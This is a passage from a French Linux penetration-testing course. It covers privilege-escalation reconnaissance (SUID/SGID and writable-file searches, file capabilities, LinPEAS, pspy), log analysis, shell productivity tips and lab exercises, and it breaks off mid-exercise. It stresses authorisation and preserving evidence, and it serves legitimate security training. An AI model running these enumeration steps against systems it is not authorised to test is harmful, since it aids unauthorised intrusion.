• Confondre absence de mot de passe et absence de privilèges.

• Conclure qu'un échec non interactif signifie aucun droit.

SECTION 14 • ESCALADE DE PRIVILÈGES LINUX | NIVEAU 3

find pour les permissions

Description

Recherche des modes dangereux ou inhabituels. L'option -xdev évite de descendre dans les autres systèmes de fichiers.

Syntaxe • Shell

```
find racine [tests de permissions] [action]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-type f	Limite aux fichiers ordinaires ; les permissions d'un dossier ont une signification différente.
-perm -4000 / -2000	Cherche les fichiers portant respectivement le bit SUID / SGID, même s'ils ont aussi d'autres droits.
-perm -0002	Cherche le bit d'écriture pour les autres ; sa présence ne démontre pas à elle seule une escalade.
-writable	Sélectionne les chemins modifiables selon le compte courant ; utile pour repérer une configuration accessible en écriture.
-xdev	Ne descend pas dans d'autres systèmes de fichiers ; noter les volumes exclus de la recherche.
-ls	Affiche une ligne détaillée pour chaque résultat, avec permissions et propriétaire.
\(… -o … \)	Groupe des conditions reliées par « ou » ; permet ici de rechercher SUID ou SGID.

Exemple débutant • Shell

```
find /usr/bin -type f -perm -4000 -ls
```

Exemple intermédiaire • Shell

```
find / -xdev -type f \
  \( -perm -4000 -o -perm -2000 \) -ls 2> erreurs-find.txt
```

Exemple avancé • Shell

```
find /etc /opt -xdev -type f -writable -ls \
  2> erreurs-ecriture.txt
```

Résultat attendu

Les exécutables SUID/SGID ou les fichiers modifiables par le compte sont listés ; les refus restent conservés.

Cas d'utilisation en pentest

Relier un fichier modifiable à une tâche exécutée par root, sans modifier ce fichier.

Bonnes pratiques

• Évaluer aussi les dossiers parents et ACL.

• Documenter les systèmes de fichiers exclus par -xdev.

Erreurs fréquentes

• Utiliser -perm 4000 au lieu de -perm -4000.

• Prendre tout fichier modifiable pour une escalade.

• Masquer les erreurs puis annoncer une recherche complète.

getcap

Description

Affiche les capacités attachées à des fichiers exécutables. La présence et l'effet dépendent du système de fichiers et du contexte.

Syntaxe • Shell

```
getcap [options] fichier-ou-dossier
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-r	Explore récursivement un dossier pour relever les capacités attachées aux fichiers.
-v	Affiche aussi les fichiers sans capacité ; utile pour distinguer une absence de capacité d'un simple silence de sortie.
CHEMIN	Définit le fichier ou la racine de recherche ; commencer par un périmètre précis.
p / e / i en sortie	Indiquent les ensembles permis, effectif et héritable des capacités ; ce sont des attributs affichés, pas des options.
2> FICHIER	Conserve les erreurs d'accès pour documenter les limites de la recherche ; redirection Bash.

Exemple débutant • Shell

```
getcap /usr/bin/ping
```

Exemple intermédiaire • Shell

```
getcap -r /usr/bin 2> erreurs-cap.txt
```

Exemple avancé • Shell

```
getcap -r /usr /opt 2> erreurs-cap.txt \
  | tee capacites.txt
```

Résultat attendu

Les chemins possédant des capacités et leurs drapeaux sont affichés ; une sortie vide peut être normale.

Cas d'utilisation en pentest

Détecter un interpréteur ou un outil inhabituel doté d'un pouvoir privilégié.

Bonnes pratiques

• Expliquer pourquoi chaque capacité est nécessaire.

• Examiner le propriétaire, les droits et le contexte d'exécution.

Erreurs fréquentes

• Déduire une exploitation certaine du nom d'une capacité.

• Confondre les capacités de fichier et celles d'un processus déjà lancé.

SECTION 14 • ESCALADE DE PRIVILÈGES LINUX | NIVEAU 4

linpeas

Description

LinPEAS rassemble des indices de mauvaises configurations locales. Son fichier de lancement est généralement linpeas.sh, obtenu d'une version officielle vérifiée.

Syntaxe • Shell

```
sh ./linpeas.sh [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-h	Affiche l'aide de la version téléchargée avant l'exécution de ses contrôles.
-s	Omet certains contrôles longs pour une collecte plus rapide ; un rapport plus court peut manquer des observations.
-o LISTE	Exécute uniquement les catégories sélectionnées, séparées par des virgules ; reprendre leurs noms exacts dans l'aide locale.
-N / -q	Retire les couleurs / la bannière ; facilite l'enregistrement d'un rapport lisible.
-w	Attend entre de grands blocs de vérification ; permet une lecture progressive.
Sans option	Lance les contrôles par défaut de cette version ; les options supplémentaires peuvent élargir fortement la collecte.
timeout 180s	Programme externe qui borne le temps de collecte ; peut produire un rapport incomplet.

Exemple débutant • Shell

```
sh ./linpeas.sh -h
```

Exemple intermédiaire • Shell

```
sh ./linpeas.sh > linpeas.txt 2>&1
```

Exemple avancé • Shell

```
timeout 180s sh ./linpeas.sh > linpeas-limite.txt 2>&1
```

Résultat attendu

L'aide ou un rapport volumineux apparaît. La limite de temps peut produire un rapport incomplet ; les couleurs signalent des pistes, pas des preuves.

Cas d'utilisation en pentest

Accélérer une revue locale après les premières vérifications manuelles de permissions, services et sudo.

Bonnes pratiques

• Lire le script et vérifier sa provenance avant transfert.

• Protéger le rapport et confirmer chaque piste à la main.

Erreurs fréquentes

• Télécharger puis exécuter directement avec un pipeline.

• Assimiler toutes les lignes signalées à des vulnérabilités.

• Supposer que la collecte n'a aucun coût ni effet observable.

SECTION 14 • ESCALADE DE PRIVILÈGES LINUX | NIVEAU 4

pspy

Description

Observe des processus et événements visibles sans exiger systématiquement root. La visibilité dépend des restrictions de /proc et du système.

Syntaxe • Shell

```
./pspy64 [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-h	Affiche l'aide du binaire installé ; vérifier aussi son architecture et sa provenance.
-p	Affiche les événements de processus observés ; leur visibilité reste limitée par le système.
-f	Affiche aussi les événements de fichiers observés ; peut accroître fortement le volume de sortie.
-i MILLISECONDES	Fixe l'intervalle de balayage ; -i 1000 vaut une seconde. Un intervalle court augmente le travail.
timeout 60s	Arrête l'observation après une minute ; n'assure pas qu'une tâche moins fréquente aura été vue.

Exemple débutant • Shell

```
./pspy64 -h
```

Exemple intermédiaire • Shell

```
./pspy64 -p
```

Exemple avancé • Shell

```
timeout 60s ./pspy64 -p -i 1000 > pspy.txt 2>&1
```

Résultat attendu

Les processus observés sont affichés ; -i définit l'intervalle de balayage en millisecondes. Des processus très brefs peuvent échapper à l'observation.

Cas d'utilisation en pentest

Repérer une tâche périodique puis examiner le script qu'elle appelle et ses permissions.

Bonnes pratiques

• Choisir le binaire adapté à l'architecture et vérifier sa provenance.

• Masquer les secrets visibles dans les arguments.

Erreurs fréquentes

• Affirmer qu'aucune tâche n'existe après une observation trop courte.

• Croire que « sans root » signifie visibilité complète.

• Modifier un script observé sans autorisation distincte.

NIVEAU 4 • AVANCÉ

15 Journalisation et logs

Objectif

Relier les actions de test aux événements système et produire une chronologie exploitable.

Explication simple

Un log est un journal d'événements. systemd-journald conserve un journal consultable avec journalctl. Selon la configuration, un service de journalisation écrit aussi /var/log/auth.log et /var/log/syslog. Ces fichiers peuvent être absents, même si le système journalise correctement.

Difficulté du parcours : niveau 4. Les fiches précisent le niveau de chaque outil.

Commandes essentielles

journalctl pour le journal systemd ; dmesg pour les messages du noyau ; less et grep pour les fichiers texte.

Commandes avancées

Fenêtres temporelles précises, unité ciblée, export structuré et corrélation avec les essais.

Cas d'utilisation réels et transposables

Noter l'heure de début du test, consulter les événements du service SSH, puis rapprocher une erreur d'authentification de la tentative correspondante. Pour un problème réseau, confronter les messages noyau et la capture autorisée.

Repères pour comprendre

La lecture de base est accessible dès le niveau 1. Le placement dans la partie avancée vise la corrélation et la qualité des preuves. UTC signifie Coordinated Universal Time, temps universel coordonné. Dans un audit, comparer les horloges et noter leurs écarts avant de reconstituer une séquence. dmesg lit un tampon de capacité limitée ; il ne remplace pas une conservation durable. Références S36 et S37.

Conseil Indiquer le fuseau horaire ; conserver les originaux ; limiter la fenêtre et les attributs exportés ; relever les interruptions de journalisation.

Attention Effacer des journaux pour nettoyer le laboratoire ; confondre absence de fichier et absence de logs ; attribuer un événement sur un seul indice ; oublier rotation et rétention.

SECTION 15 • JOURNALISATION ET LOGS | NIVEAU 2

journalctl

Description

Interroge le journal systemd par unité, période, priorité ou démarrage. Les droits limitent les événements accessibles.

Syntaxe • Shell

```
journalctl [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-n N	Affiche les N événements les plus récents visibles ; -n 30 convient à une première lecture.
-u UNITE	Filtre sur un service, par exemple ssh ; vérifier son nom réel.
--since / --until DATE	Définissent le début et la fin de la fenêtre ; préciser le fuseau pour une chronologie fiable.
--utc	Affiche les dates en temps universel coordonné ; facilite les comparaisons entre machines.
-o json	Exporte les événements au format JSON, un format structuré exploitable par un programme.
--no-pager	Affiche directement la sortie au lieu d'ouvrir un lecteur interactif.
-b / -k / -f	Limite au démarrage courant / aux messages du noyau / suit les nouveaux événements ; choisir selon le besoin.

Exemple débutant • Shell

```
journalctl -n 30 --no-pager
```

Exemple intermédiaire • Shell

```
journalctl -u ssh --since "30 minutes ago" --no-pager
```

Exemple avancé • Shell

```
journalctl -u ssh --since "2026-10-30 14:00:00 UTC" \
  --until "2026-10-30 14:10:00 UTC" --utc \
  -o json > ssh-evenements.json
```

Résultat attendu

Les derniers événements ou ceux de la fenêtre choisie sont affichés ; adapter la date à l'exercice. -o json structure chaque événement.

Cas d'utilisation en pentest

Relier un essai SSH à une entrée horodatée tout en conservant le format exploitable.

Bonnes pratiques

• Vérifier le vrai nom d'unité, ssh ou parfois sshd.

• Utiliser -b pour le démarrage courant si pertinent.

Erreurs fréquentes

• Employer une opération de purge pendant une collecte.

• Ignorer une visibilité limitée par les groupes.

• Croire que le journal persiste toujours après redémarrage.

SECTION 15 • JOURNALISATION ET LOGS | NIVEAU 2

dmesg

Description

Lit les messages du noyau, notamment périphériques, pilotes et certains refus ou erreurs système.

Syntaxe • Shell

```
dmesg [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
--level=err,warn	Ne garde que les priorités erreur et avertissement du tampon noyau.
--time-format=iso	Affiche les dates dans un format explicite ; les conversions de temps ont des limites, notamment après suspension.
-w	Suit les nouveaux messages du noyau ; arrêter avec Ctrl+C à la fin du diagnostic.
-T	Présente des heures plus lisibles, avec les mêmes réserves de conversion ; ne corrige pas une horloge fausse.
-c	Lit puis efface le tampon ; à éviter pendant une collecte de preuves.

Exemple débutant • Shell

```
dmesg | less
```

Exemple intermédiaire • Shell

```
sudo dmesg --level=err,warn
```

Exemple avancé • Shell

```
sudo dmesg --time-format=iso > noyau.txt
```

Résultat attendu

Les messages accessibles apparaissent ; sudo peut être nécessaire si la lecture est restreinte.

Cas d'utilisation en pentest

Examiner une erreur d'interface, un problème de disque ou une restriction du noyau observée pendant un test.

Bonnes pratiques

• Corréler avec journalctl -k et les heures de l'exercice.

• Garder les messages originaux.

Erreurs fréquentes

• Utiliser dmesg -c, qui efface après lecture.

• Supposer que les heures converties sont parfaites après suspend/reprise.

• Croire que ce tampon contient toutes les authentifications.

SECTION 15 • JOURNALISATION ET LOGS | NIVEAU 2

auth.log et syslog

Description

Ce sont des fichiers de journaux, pas des commandes. Leur présence dépend de la configuration de journalisation et de la distribution.

Syntaxe • Shell

```
less /var/log/auth.log
grep [options] motif /var/log/syslog
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
Fichiers, pas commandes	auth.log et syslog n'ont pas d'options ; les options ci-dessous appartiennent aux lecteurs utilisés.
less -N	Affiche des numéros de ligne pendant la consultation du journal.
grep -n	Ajoute le numéro de ligne aux résultats d'une recherche.
grep -E	Autorise plusieurs motifs ou groupes dans une expression régulière étendue ; garder l'expression entre guillemets.
zgrep -h	Recherche aussi dans les rotations compressées et retire le préfixe du nom de fichier ; ce -h ne signifie pas « aide ».
auth.log*	Motif Bash qui sélectionne les fichiers dont le nom commence ainsi ; leur ordre n'est pas une chronologie garantie.

Exemple débutant • Shell

```
sudo less /var/log/auth.log
```

Exemple intermédiaire • Shell

```
sudo grep -nE "Failed password|Accepted" /var/log/auth.log
```

Exemple avancé • Shell

```
sudo zgrep -h "sshd" /var/log/auth.log* \
  > ssh-fichiers.txt
```

Résultat attendu

Les événements d'authentification sont consultés ; zgrep lit aussi les rotations compressées. Adapter les motifs aux messages réels.

Cas d'utilisation en pentest

Retrouver une tentative ancienne après rotation des journaux et comparer son contexte.

Bonnes pratiques

• Protéger l'export par umask 077.

• Employer journalctl si les fichiers n'existent pas.

Erreurs fréquentes

• Prendre les fichiers concaténés pour une chronologie triée.

• Ignorer que certaines lignes n'indiquent pas l'année ou le fuseau.

• Modifier les journaux originaux.

NIVEAU 4 • AVANCÉ

16 Astuces Linux pour pentesters

Objectif

Rendre le travail répétable, traçable et rapide sans perdre le contrôle des effets.

Explication simple

Un pipeline relie la sortie d’une commande à l’entrée suivante. Une redirection choisit où vont les données. Une archive regroupe des fichiers ; la compression réduit leur taille. Aucune de ces deux opérations ne chiffre nécessairement le contenu.

Difficulté du parcours : niveau 4. Les fiches précisent le niveau de chaque outil.

Commandes essentielles

alias, history, redirections, pipelines et raccourcis de terminal.

Commandes avancées

tar, zip, gzip, tee et watch ; gestion des erreurs dans les pipelines et archives vérifiées.

Cas d’utilisation réels et transposables

Créer un alias lisible pour ls, enregistrer un scan avec tee, archiver les preuves depuis un dossier dédié puis calculer une empreinte. Refaire les vérifications sur l’archive dans un dossier neuf.

Repères pour comprendre

Raccourcis Bash courants : Tab complète ; Ctrl+A va au début ; Ctrl+E à la fin ; Ctrl+U efface avant le curseur ; Ctrl+K efface après ; Ctrl+R cherche dans l’historique ; Ctrl+C interrompt ; Ctrl+Z suspend ; Ctrl+D indique la fin d’entrée et peut fermer un shell vide. Ils dépendent du mode d’édition et du terminal. Cette section peut aussi servir d’aide-mémoire dès le niveau 1. Références S38 à S40.

Conseil Garder les commandes explicites dans le rapport ; séparer sources et copies ; vérifier les codes de retour ; inspecter une archive avant extraction.

Attention Stocker des secrets dans l’historique ; créer des alias dangereux ; archiver un fichier qui change ; extraire une archive inconnue comme root.

alias

Description

Définit un raccourci de commande dans le shell courant. Les alias sont surtout utiles en session interactive.

Syntaxe • Shell

```
alias nom='commande'
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
Sans argument	Affiche les alias déjà définis dans le shell courant.
NOM='commande'	Crée un raccourci ; les apostrophes conservent le texte jusqu'à son utilisation.
-p	Affiche les alias dans une forme réutilisable comme commandes Bash.
unalias NOM	Supprime un alias précis ; unalias est une autre commande intégrée.
unalias -a	Supprime tous les alias de la session ; à éviter si l'objectif est de retirer un seul raccourci.

Exemple débutant • Shell

```
alias ll='ls -lah'
```

Exemple intermédiaire • Shell

```
alias ports='ss -lntup'
```

Exemple avancé • Shell

```
alias lab='cd "$HOME/lab"'
# Retirer un alias devenu inutile :
unalias lab
```

Résultat attendu

Les raccourcis sont définis ; unalias les retire. Ils disparaissent à la fermeture sauf ajout explicite à la configuration du shell.

Cas d'utilisation en pentest

Accélérer des inspections fréquentes sans masquer les commandes exécutées.

Bonnes pratiques

• Donner des noms explicites.

• Documenter l'expansion exacte dans les procédures partagées.

Erreurs fréquentes

• Remplacer une commande destructive par un alias supposé protecteur.

• Croire qu'un script non interactif charge automatiquement les alias.

• Confondre .bashrc et .zshrc.

history

Description

Affiche l'historique Bash. Il facilite la reproduction, mais peut contenir des données sensibles.

Syntaxe • Shell

```
history [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
N	Limite l'affichage aux N dernières entrées : history 20.
-a	Ajoute au fichier d'historique les nouvelles entrées de cette session ; peut donc enregistrer un secret saisi par erreur.
-n	Lit les lignes ajoutées au fichier par d'autres sessions sans relire tout l'historique.
HISTTIMEFORMAT	Variable de format des dates ; %F %T %z affiche date, heure et décalage si les horodatages existent.
-c	Efface la liste en mémoire ; ne l'utiliser ni pour la traçabilité d'un audit ni comme solution fiable à une fuite de secret.

Exemple débutant • Shell

```
history 20
```

Exemple intermédiaire • Shell

```
history | grep -F "nmap"
```

Exemple avancé • Shell

```
HISTTIMEFORMAT="%F %T %z "
history 20
```

Résultat attendu

Les commandes mémorisées apparaissent ; les dates sont utiles si les horodatages ont réellement été conservés.

Cas d'utilisation en pentest

Retrouver les options d'un scan avant de les reporter dans les notes de mission.

Bonnes pratiques

• Éviter les secrets dans les arguments dès le départ.

• Conserver des notes explicites en plus de l'historique.

Erreurs fréquentes

• Prendre l'historique pour un journal d'audit complet et infalsifiable.

• Supposer qu'un espace initial protège toujours une commande.

• Effacer les traces de la mission.

SECTION 16 • ASTUCES LINUX POUR PENTESTERS | NIVEAU 2

Redirections et pipelines Bash

Description

Les descripteurs 0, 1 et 2 représentent entrée standard, sortie standard et erreur standard. | relie la sortie standard à l'entrée suivante.

Syntaxe • Shell

```
commande > sortie 2> erreurs
commande1 | commande2
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
> / >> FICHIER	Remplace / complète le fichier de sortie ; vérifier le nom avant toute redirection.
2> FICHIER	Écrit les erreurs séparément ; le chiffre 2 désigne la sortie d'erreur.
2>&1	Envoie les erreurs vers la destination actuelle de la sortie standard ; l'ordre des redirections est important.
Symbole de pipeline	Le caractère | relie la sortie standard d'une commande à l'entrée de la suivante ; les erreurs restent séparées sans redirection.
set -o pipefail	Donne un échec au pipeline si une de ses commandes échoue ; sinon le statut vient normalement de la dernière.
$?	Contient le code de retour de l'instruction précédente ; le lire immédiatement avant qu'une autre commande ne le remplace.

Exemple débutant • Shell

```
printf "%s\n" "Observation" >> notes.txt
```

Exemple intermédiaire • Shell

```
find /etc -name "*.conf" > fichiers.txt 2> refus.txt
```

Exemple avancé • Shell

```
set -o pipefail
grep -n "error" application.log | tee erreurs.txt
printf "Code du pipeline : %s\n" "$?"
```

Résultat attendu

>> ajoute ; > remplace. Les erreurs sont séparées. pipefail évite qu'un succès de tee masque l'échec de grep.

Cas d'utilisation en pentest

Conserver les résultats et les limites d'une recherche dans deux fichiers distincts.

Bonnes pratiques

• Distinguer absence de correspondance et véritable erreur.

• Utiliser 2>&1 après > fichier pour réunir les deux sorties.

Erreurs fréquentes

• Inverser > fichier 2>&1 en pensant obtenir le même effet.

• Oublier que seul le code de la dernière étape compte sans pipefail.

• Ignorer l'écrasement produit par >.

tar

Description

Regroupe des fichiers en archive et peut déléguer leur compression. -c crée, -t liste, -x extrait et -f désigne l'archive.

Syntaxe • Shell

```
tar [options] -f archive [chemins]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-c / -t / -x	Crée / liste / extrait une archive ; choisir une seule de ces opérations principales.
-f ARCHIVE	Indique le fichier d'archive ; indispensable pour éviter de viser une sortie ou un périphérique inattendu.
-z	Utilise la compression gzip ; une archive .tar.gz combine regroupement et compression.
-v	Affiche les fichiers traités ; utile pour suivre une création ou une extraction.
-C DOSSIER	Change de dossier pour l'opération ; permet d'extraire dans un répertoire de vérification dédié.
--no-same-owner	N'essaie pas de rétablir le propriétaire enregistré ; mesure utile lors d'une extraction contrôlée.

Exemple débutant • Shell

```
tar -cf notes.tar notes/
```

Exemple intermédiaire • Shell

```
tar -czf notes.tar.gz notes/
```

Exemple avancé • Shell

```
tar -tzf notes.tar.gz
mkdir -p verification
tar -xzf notes.tar.gz -C verification --no-same-owner
```

Résultat attendu

L'archive est créée, listée puis extraite dans un dossier dédié. -z utilise gzip.

Cas d'utilisation en pentest

Livrer un ensemble cohérent de résultats en gardant la structure des dossiers.

Bonnes pratiques

• Examiner les chemins avant extraction.

• Calculer SHA-256 et conserver une copie des originaux.

Erreurs fréquentes

• Extraire une archive non fiable dans un dossier important ou comme root.

• Supposer que toutes les ACL sont conservées sans options adaptées.

• Confondre compression et confidentialité.

zip

Description

Crée une archive ZIP, format largement compatible. La compression et le chiffrement sont des propriétés distinctes.

Syntaxe • Shell

```
zip [options] archive.zip fichiers...
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-r	Parcourt les dossiers récursivement pour inclure leurs fichiers.
-x MOTIF	Exclut les noms correspondants, par exemple -x "*.pcap" ; citer le motif pour que zip l'interprète.
-0 / -9	Stocke sans compression / demande une compression plus forte ; la valeur élevée peut coûter davantage de temps.
-e	Demande un mot de passe avec le chiffrement disponible ; ne pas supposer qu'il satisfait des exigences modernes de confidentialité.
unzip -l / -t	Autre programme : liste le contenu / teste la cohérence de l'archive sans l'extraire normalement.

Exemple débutant • Shell

```
zip notes.zip notes.txt
```

Exemple intermédiaire • Shell

```
zip -r mission.zip notes/ scans/
```

Exemple avancé • Shell

```
zip -r mission.zip notes/ scans/ -x "*.pcap"
unzip -t mission.zip
```

Résultat attendu

Les fichiers sont regroupés ; -x exclut les noms correspondants ; unzip -t vérifie la cohérence de l'archive.

Cas d'utilisation en pentest

Préparer un paquet de résultats qui exclut les captures volumineuses ou sensibles.

Bonnes pratiques

• Inspecter la liste avec unzip -l.

• Utiliser une solution de chiffrement approuvée si la confidentialité est requise.

Erreurs fréquentes

• Croire que zip -e fournit toujours un chiffrement moderne suffisant.

• Envoyer une archive sans vérifier exclusions et contenu.

• Confondre test de cohérence et preuve d'authenticité.

gzip

Description

Compresse un flux ou un fichier. Sans option de conservation, le fichier source est généralement remplacé par sa version .gz.

Syntaxe • Shell

```
gzip [options] fichier
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-k	Conserve le fichier source au lieu de le remplacer par sa version compressée.
-d	Décompresse ; vérifier l'emplacement et le nom du fichier qui sera produit.
-c	Écrit le résultat vers la sortie standard ; avec -d, permet une lecture dans un pipeline.
-t	Vérifie la cohérence du flux compressé sans extraction de fichier.
-1 / -9	Privilégie la vitesse / une compression plus poussée ; le gain dépend du contenu.

Exemple débutant • Shell

```
gzip -k notes.txt
```

Exemple intermédiaire • Shell

```
gzip -t notes.txt.gz
```

Exemple avancé • Shell

```
gzip -dc notes.txt.gz | grep -n "Observation"
```

Résultat attendu

-k conserve la source ; -t vérifie le flux ; -dc décompresse vers la sortie sans créer de fichier intermédiaire.

Cas d'utilisation en pentest

Réduire des journaux et rechercher dans une copie compressée.

Bonnes pratiques

• Utiliser -k sur les fichiers de travail à conserver.

• Archiver d'abord avec tar pour regrouper plusieurs fichiers.

Erreurs fréquentes

• Attendre que gzip seul conserve une arborescence.

• Recompresser inutilement un format déjà compressé.

• Croire qu'un .gz protège les secrets.

tee

Description

Duplique son entrée vers l'écran et un ou plusieurs fichiers. Par défaut, le fichier est remplacé ; -a ajoute.

Syntaxe • Shell

```
commande | tee [options] fichier
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-a	Ajoute au fichier existant ; sans -a, tee le remplace.
-i	Ignore les signaux d'interruption ; peut empêcher l'arrêt attendu avec Ctrl+C, donc ne pas l'ajouter par habitude.
Plusieurs fichiers	tee a.txt b.txt copie la même entrée dans les deux fichiers et vers l'écran.
2>&1 avant le pipeline	Envoie aussi les erreurs vers tee ; sans cela, seule la sortie standard est dupliquée.
set -o pipefail	Réglage Bash pour ne pas masquer l'échec de la commande placée avant tee.

Exemple débutant • Shell

```
printf "%s\n" "Début du test" | tee notes.txt
```

Exemple intermédiaire • Shell

```
ip -br address | tee -a notes.txt
```

Exemple avancé • Shell

```
set -o pipefail
nmap -p 22,80 192.0.2.20 2>&1 | tee scan.txt
```

Résultat attendu

Le texte reste visible et est enregistré ; 2>&1 inclut les erreurs dans le flux.

Cas d'utilisation en pentest

Conserver une sortie de terminal pendant un diagnostic reproductible.

Bonnes pratiques

• Choisir explicitement ajout ou remplacement.

• Protéger les fichiers de sortie par les permissions adaptées.

Erreurs fréquentes

• Croire que tee reçoit les erreurs sans redirection.

• Perdre le code d'échec du programme amont.

• Utiliser tee sur un fichier privilégié sans prévoir l'impact.

SECTION 16 • ASTUCES LINUX POUR PENTESTERS | NIVEAU 2

watch

Description

Répète une commande à intervalle régulier et affiche la dernière sortie. Ctrl+C arrête la surveillance.

Syntaxe • Shell

```
watch [options] commande
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-n SECONDES	Fixe l'intervalle entre les affichages, par exemple -n 2.
-d	Met en évidence les différences entre deux actualisations.
-t	Retire l'en-tête de watch ; utile pour une vue plus compacte.
-g	Termine quand la sortie change ; utile pour attendre un changement d'état observé.
Commande entre quotes	Garde ensemble les arguments d'une commande composée ; ne répéter que des opérations dont les effets sont maîtrisés.

Exemple débutant • Shell

```
watch -n 2 date
```

Exemple intermédiaire • Shell

```
watch -n 2 -d 'ss -lnt'
```

Exemple avancé • Shell

```
watch -n 5 -d 'systemctl is-active ssh'
```

Résultat attendu

L'écran se met à jour ; -d souligne les changements entre deux relevés.

Cas d'utilisation en pentest

Observer l'apparition d'un port ou la stabilité d'un service pendant un exercice.

Bonnes pratiques

• Réserver watch à des commandes de lecture.

• Choisir un intervalle raisonnable.

Erreurs fréquentes

• Répéter une commande de modification ou un scan lourd.

• Prendre l'affichage pour une conservation historique.

• Oublier les guillemets d'une commande composée.

Aide-mémoire quotidien

Besoin	Commande	Lecture du résultat
Où suis-je ?	pwd	Chemin absolu du dossier courant.
Voir aussi les fichiers cachés	ls -la	Les noms commençant par un point sont inclus.
Retrouver un fichier	find . -name "question3.txt"	Chemins relatifs au dossier courant.
Chercher un texte littéral	grep -nF "mot" notes.txt	Numéro de ligne et correspondance.
Lire les droits étendus	getfacl notes.txt	Vérifier le masque effectif.
Identifier un processus	ps -fp 1234	Remplacer le PID par celui observé.
Connaître la route choisie	ip route get 192.0.2.20	Interface, source et passerelle éventuelle.
Voir les ports en écoute	ss -lntup	Les processus dépendent des permissions.

Conseil Avant de lancer une commande : vérifier le dossier, la cible, le compte, le fichier de sortie et l'effet attendu. Après : contrôler le code de retour, la sortie d'erreur et les limites de l'observation.

Permissions en un regard

Mode	Fichier	Dossier
600	Propriétaire seul, lecture et écriture	Peu adapté : pas de traversée
640	Lecture pour le groupe	Peu adapté sans x
700	Exécutable privé	Dossier privé traversable
750	Exécutable lisible par le groupe	Accès au groupe, aucun aux autres
1777	Sans usage ordinaire ici	Dossier partagé avec Sticky Bit

Aide-mémoire quotidien • suite

Besoin	Commande	Lecture du résultat
Scanner quelques ports	nmap -sV -p 22,80 192.0.2.20	Cible autorisée uniquement.
Lire les en-têtes web	curl -I http://192.0.2.20/	Requête HEAD, différente de GET.
Lister des partages	smbclient -L //192.0.2.20 -N -U ""	Un refus anonyme est normal.
Lire une capture DNS	tshark -r trace.pcap -Y dns	Analyse hors ligne.
Voir ses droits sudo	sudo -l	Lecture de la politique autorisée.
Lire les événements récents	journalctl -n 30 --no-pager	Visibilité selon les droits.
Sauver et afficher	commande 2>&1 | tee resultat.txt	Écrase le fichier ; -a ajoute.
Lister une archive	tar -tzf preuves.tar.gz	Inspecter avant extraction.

Conseil Avant de lancer une commande : vérifier le dossier, la cible, le compte, le fichier de sortie et l'effet attendu. Après : contrôler le code de retour, la sortie d'erreur et les limites de l'observation.

Sorties et redirections

Notation	Effet
> fichier	Remplace le contenu de sortie
>> fichier	Ajoute à la fin
2> erreurs	Sépare la sortie d'erreur
> fichier 2>&1	Réunit sortie et erreurs dans le fichier
commande1 | commande2	Transmet la sortie standard à la commande suivante

Exercice du niveau 1 • fichiers et permissions

Objectif : créer un petit dossier, trouver un fichier par son nom, interpréter un chemin relatif et vérifier les permissions. Cet exercice reste entièrement dans votre dossier personnel.

Shell • préparation

```
mkdir -p ~/lab/exercice1/sous-dossier
cd ~/lab/exercice1
printf "%s\n" "preuve fictive" > sous-dossier/question3.txt
chmod 600 sous-dossier/question3.txt
```

Shell • recherche et validation

```
pwd
find . -type f -name "question3.txt"
ls -l sous-dossier/question3.txt
cat sous-dossier/question3.txt
sha256sum sous-dossier/question3.txt
```

Résultats attendus

find affiche ./sous-dossier/question3.txt. ls montre -rw------- pour le fichier. cat affiche « preuve fictive ». sha256sum produit une empreinte de 64 caractères hexadécimaux suivie du nom.

Questions de contrôle

• Pourquoi le chemin retourné par find commence-t-il par ./ ?

• Quelle différence y aurait-il avec find "$HOME/lab/exercice1" ?

• Pourquoi chmod 600 serait-il inadapté au dossier lui-même ?

Correction

La racine de recherche est relative au dossier courant. Une racine absolue produit des chemins absolus. Un dossier doit disposer du droit x pour être traversé ; 700 convient à un dossier privé.

> **Conseil** Conserver ce dossier pour les essais de cp, mv, tar et gzip. Travailler sur des copies plutôt que sur une preuve réelle.

Exercice du niveau 2 • observer un service web

Objectif : relier port, réponse HTTP et chemin accessible. Précondition : deux machines de laboratoire isolées avec adresses adaptées, Python sur B, Nmap et curl sur A. Le service écoute volontairement sur un seul port.

Shell • sur B, machine cible

```
mkdir -p ~/lab/web-demo
printf "%s\n" "Page de laboratoire" > ~/lab/web-demo/index.html
python3 -m http.server 8000 --bind 192.0.2.20 \
  --directory ~/lab/web-demo
```

Shell • sur A, poste opérateur

```
nmap -sV -p 8000 192.0.2.20
curl -i http://192.0.2.20:8000/
curl -i http://192.0.2.20:8000/chemin-inexistant
```

Résultats attendus

Si le service et le pare-feu le permettent, le port 8000 est ouvert. La racine renvoie une réponse réussie ; le chemin absent renvoie normalement 404. La bannière et le titre sont des indices techniques, pas une vulnérabilité démontrée.

Approfondissement contrôlé

```
printf "%s\n" index.html documentation test > mots.txt
ffuf -u http://192.0.2.20:8000/FUZZ \
  -w mots.txt -t 1 -rate 2
```

Validation et fin

Comparer les résultats avec les fichiers réellement créés. Arrêter le serveur avec Ctrl+C sur B, puis vérifier que le port n’écoute plus avec ss -lnt. Aucun fichier sensible ne doit être placé dans web-demo.

Attention Une erreur de connexion n’est pas un résultat de sécurité : vérifier d’abord adresse, route, écoute et pare-feu.

Exercice du niveau 3 • capture et preuve

Objectif : corréler une requête web du laboratoire avec une capture et préserver un résultat vérifiable. Réutiliser le serveur HTTP du niveau 2, avec l'accord de capture limité à ce flux.

Shell • terminal de capture sur A

```
umask 077
sudo tcpdump -i eth0 -nn -s 0 -w exercice3.pcap \
  "host 192.0.2.20 and tcp port 8000"
```

Shell • second terminal sur A

```
